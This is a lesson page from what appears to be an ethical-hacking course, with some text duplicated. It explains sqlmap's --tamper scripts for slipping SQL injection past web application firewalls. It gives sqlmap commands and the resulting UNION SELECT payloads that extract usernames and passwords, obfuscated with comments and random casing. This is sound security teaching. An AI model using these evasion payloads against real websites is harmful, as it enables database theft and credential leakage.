Many websites protect themselves from SQL injection using WAFs (Web Application Firewalls) or other filters. They prevent direct attacks, but often with very simple logic (for example, blocking the word 

). The --tamper feature of SQLmap helps to bypass these protections.

--tamper scripts modify the requests sent by SQLmap so that they appear different but still function correctly.

For example, space2comment replaces spaces with SQL comments (/**/).

randomcase writes commands with random letter casing (UnIoN SeLeCt).

charunicodeencode converts characters into Unicode format.

Case 1: WAF blocks the UNION SELECT command

Without the tamper command SQLmap could try for example the following injection:

SQLmap changes UNION SELECT to UNION/**/SELECT, so the WAF does not detect the attack.

If the WAF blocks the words “SELECT” and “UNION”, but does not consider letter case:

Commands can pass through in the form of “sElEcT” or “UnIoN”.

Sometimes one is not enough. You can use multiple scripts by separating them with commas:

Combining multiple tamper scripts can open locked doors

Next you’ll get to try using tamper scripts in the practice environment. The lab shows the SQL statement used in the background, which can be helpful when choosing the injection and the tamper.

In this lab, you will practice the use of --tamper switch with Sqlmap.

MySQL Sqlmap and tamper

Many websites protect themselves from SQL injection using WAFs (Web Application Firewalls) or other filters. They prevent direct attacks, but often with very simple logic (for example, blocking the word *UNION*). The --tamper feature of SQLmap helps to bypass these protections.

## How does --tamper work?

--tamper scripts modify the requests sent by SQLmap so that they appear different but still function correctly.

- For example, space2comment replaces spaces with SQL comments (/\*\*/).
- randomcase writes commands with random letter casing (UnIoN SeLeCt).
- charunicodeencode converts characters into Unicode format.

---

## Example Cases

### Case 1: WAF blocks the UNION SELECT command

Without the tamper command SQLmap could try for example the following injection:

```sh
sqlmap -u "http://sivu.fi/hae.php?id=1"

-> http://sivu.fi/hae.php?id=1 UNION SELECT user,pass FROM users
```

The WAF blocks the request immediately.

with space2comment tamper:

```sh
sqlmap -u "http://sivu.fi/hae.php?id=1" --tamper=space2comment

-> http://sivu.fi/hae.php?id=1/**/UNION/**/SELECT/**/user,pass/**/FROM/**/users
```

SQLmap changes UNION SELECT to UNION/\*\*/SELECT, so the WAF does not detect the attack.

### Case 2: WAF checks letter case

If the WAF blocks the words “SELECT” and “UNION”, but does not consider letter case:

```sh
sqlmap -u "http://sivu.fi/hae.php?id=1" --tamper=randomcase

-> http://sivu.fi/hae.php?id=1 UnIoN sElEcT user,pass FROM users
```

Commands can pass through in the form of “sElEcT” or “UnIoN”.

### Case 3: Combining multiple tampers

Sometimes one is not enough. You can use multiple scripts by separating them with commas:

```sh
sqlmap -u "http://sivu.fi/hae.php?id=1" --tamper=space2comment,randomcase

-> http://sivu.fi/hae.php?id=1/**/UnIoN/**/sElEcT/**/user,pass/**/FROM/**/users
```

---

## Summary

- --tamper helps bypass simple filters
- Works especially well against WAFs
- Combining multiple tamper scripts can open locked doors

Next you’ll get to try using tamper scripts in the practice environment. The lab shows the SQL statement used in the background, which can be helpful when choosing the injection and the tamper.

@exercise e0496f7f6a47


SQLmap and tamper

SQL injection is probably the cause of the majority of serious data breaches, mainly because vulnerability is very likely in a large application if the technology choices are bad, and the result is usually leaking the entire database to the attacker.

SQL injection is likely the cause of the majority of serious data breaches, mainly because vulnerability is very likely in a large application if the technology choices are poor, and the consequence is usually the leakage of the entire database to the attacker.

Fundamentals

What are SQL Injections?

Intro

SQLmap and tamper

How does --tamper work?

Learn to hack — start here